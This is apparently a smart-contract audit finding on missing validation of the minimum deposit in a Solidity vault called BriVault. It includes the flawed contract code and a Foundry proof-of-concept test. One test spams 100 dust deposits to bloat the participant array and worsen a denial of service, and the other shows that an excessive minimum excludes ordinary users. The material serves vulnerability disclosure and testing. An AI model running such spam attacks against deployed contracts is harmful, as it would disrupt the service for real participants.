constructor(
IERC20 _asset,
uint256 _participationFeeBsp,
uint256 _eventStartDate,
address _participationFeeAddress,
@> uint256 _minimumAmount,
uint256 _eventEndDate
) ERC4626(_asset) ERC20("BriTechLabs", "BTT") Ownable(msg.sender) {
if (_participationFeeBsp > PARTICIPATIONFEEBSPMAX) {
revert limiteExceede();
}
participationFeeBsp = _participationFeeBsp;
eventStartDate = _eventStartDate;
eventEndDate = _eventEndDate;
participationFeeAddress = _participationFeeAddress;
@> minimumAmount = _minimumAmount;
_setWinner = false;
}
function deposit(uint256 assets, address receiver) public override returns (uint256) {
require(receiver != address(0));
if (block.timestamp >= eventStartDate) {
revert eventStarted();
}
uint256 fee = _getParticipationFee(assets);
@> if (minimumAmount + fee > assets) {
revert lowFeeAndAmount();
}
uint256 stakeAsset = assets - fee;
stakedAsset[receiver] = stakeAsset;
uint256 participantShares = _convertToShares(stakeAsset);
IERC20(asset()).safeTransferFrom(msg.sender, participationFeeAddress, fee);
IERC20(asset()).safeTransferFrom(msg.sender, address(this), stakeAsset);
_mint(msg.sender, participantShares);
emit deposited(receiver, stakeAsset);
return participantShares;
}
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {MockERC20} from "./MockErc20.t.sol";
* @title L-01: Missing Validation on Minimum Amount
* @notice Demonstrates two scenarios:
* Scenario A: minimumAmount = 0 enables dust attack DoS
* Scenario B: minimumAmount too high excludes users
*/
contract L01_UnreasonableMinimumAmount is Test {
MockERC20 public mockToken;
BriVault public vault;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address normalUser = makeAddr("normalUser");
address feeAddress = makeAddr("feeAddress");
uint256 participationFeeBsp = 300;
uint256 eventStartDate;
uint256 eventEndDate;
string[48] countries = [
"United States", "Canada", "Mexico", "Argentina", "Brazil",
"Ecuador", "Uruguay", "Colombia", "Peru", "Chile",
"Japan", "South Korea", "Australia", "Iran", "Saudi Arabia",
"Qatar", "Uzbekistan", "Jordan", "France", "Germany",
"Spain", "Portugal", "England", "Netherlands", "Italy",
"Croatia", "Belgium", "Switzerland", "Denmark", "Poland",
"Serbia", "Sweden", "Austria", "Morocco", "Senegal",
"Nigeria", "Cameroon", "Egypt", "South Africa", "Ghana",
"Algeria", "Tunisia", "Ivory Coast", "New Zealand", "Costa Rica",
"Panama", "United Arab Emirates", "Iraq"
];
function setUp() public {
eventStartDate = block.timestamp + 2 days;
eventEndDate = eventStartDate + 31 days;
mockToken = new MockERC20("Mock Token", "MTK");
mockToken.mint(owner, 1000 ether);
mockToken.mint(attacker, 10000 ether);
mockToken.mint(normalUser, 100 ether);
}
* @notice Scenario A: minimumAmount = 0 enables dust attack
* @dev Attacker spams tiny deposits to bloat usersAddress array
*/
function test_ScenarioA_MinimumZero_DustAttack() public {
console.log("=== Scenario A: minimumAmount = 0 (Dust Attack) ===");
console.log("\n--- Step 1: Deployment ---");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
eventStartDate,
feeAddress,
0,
eventEndDate
);
vault.setCountry(countries);
vm.stopPrank();
console.log("Deployed with minimumAmount: 0");
console.log("Participation fee:", (participationFeeBsp * 100) / 10000, "%");
console.log("\n--- Step 2: Dust Attack ---");
uint256 dustAmount = 1;
uint256 spamCount = 100;
console.log("Dust deposit amount:", dustAmount, "wei");
console.log("Number of spam deposits:", spamCount);
vm.startPrank(attacker);
mockToken.approve(address(vault), 1 ether);
for (uint256 i = 0; i < spamCount; i++) {
uint256 depositWithFee = dustAmount + ((dustAmount * participationFeeBsp) / 10000) + 1;
vault.deposit(depositWithFee, attacker);
vault.joinEvent(0);
}
vm.stopPrank();
console.log("Participants after attack:", vault.numberOfParticipants());
console.log("\n--- Step 3: Attack Cost Analysis ---");
uint256 totalCost = spamCount * (dustAmount + 1);
console.log("Attack cost:", totalCost, "wei (negligible)");
console.log("Array entries added:", spamCount);
console.log("DoS amplification: Significant");
console.log("\n=== Scenario A Impact ===");
console.log("✓ Dust attack feasible with zero minimum");
console.log("✓ usersAddress bloated by", spamCount, "entries");
console.log("✓ Amplifies _getWinnerShares() DoS vulnerability");
console.log("✓ Attack cost negligible");
assertEq(vault.numberOfParticipants(), spamCount);
}
* @notice Scenario B: minimumAmount too high excludes users
* @dev Unreasonably high minimum prevents participation
*/
function test_ScenarioB_MinimumTooHigh_ExcludesUsers() public {
console.log("=== Scenario B: minimumAmount Too High (Exclusion) ===");
console.log("\n--- Step 1: Deployment ---");
uint256 unreasonableMin = 1_000_000 ether;
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(mockToken)),
participationFeeBsp,
eventStartDate,
feeAddress,
unreasonableMin,
eventEndDate
);
vault.setCountry(countries);
vm.stopPrank();
console.log("Deployed with minimumAmount:", unreasonableMin / 1 ether, "tokens");
console.log("\n--- Step 2: Normal User (100 tokens) ---");
uint256 normalBalance = mockToken.balanceOf(normalUser);
console.log("User balance:", normalBalance / 1 ether, "tokens");
console.log("Required:", unreasonableMin / 1 ether, "tokens");
vm.startPrank(normalUser);
mockToken.approve(address(vault), normalBalance);
console.log("Attempting deposit...");
vm.expectRevert(abi.encodeWithSignature("lowFeeAndAmount()"));
vault.deposit(normalBalance, normalUser);
console.log("Result: REVERTED");
vm.stopPrank();
console.log("\n--- Step 3: Wealthy User (500k tokens) ---");
address wealthy = makeAddr("wealthy");
mockToken.mint(wealthy, 500_000 ether);
console.log("User balance:", 500_000, "tokens");
console.log("Required:", unreasonableMin / 1 ether, "tokens");
vm.startPrank(wealthy);
mockToken.approve(address(vault), 500_000 ether);
console.log("Attempting deposit...");
vm.expectRevert(abi.encodeWithSignature("lowFeeAndAmount()"));
vault.deposit(500_000 ether, wealthy);
console.log("Result: REVERTED");
vm.stopPrank();
console.log("\n--- Step 4: Whale User (2M tokens) ---");
address whale = makeAddr("whale");
mockToken.mint(whale, 2_000_000 ether);
uint256 requiredWithFee = unreasonableMin + ((unreasonableMin * participationFeeBsp) / 10000);
vm.startPrank(whale);
mockToken.approve(address(vault), requiredWithFee);
vault.deposit(requiredWithFee, whale);
console.log("Result: SUCCESS (only whales participate)");
vm.stopPrank();
console.log("\n=== Scenario B Impact ===");
console.log("✓ Normal users (100 tokens): EXCLUDED");
console.log("✓ Wealthy users (500k tokens): EXCLUDED");
console.log("✓ Only whales (2M+ tokens): CAN PARTICIPATE");
console.log("✓ 99% of users excluded");
console.log("✓ Event likely fails due to low participation");
assertEq(vault.numberOfParticipants(), 1, "Only 1 participant");
}
}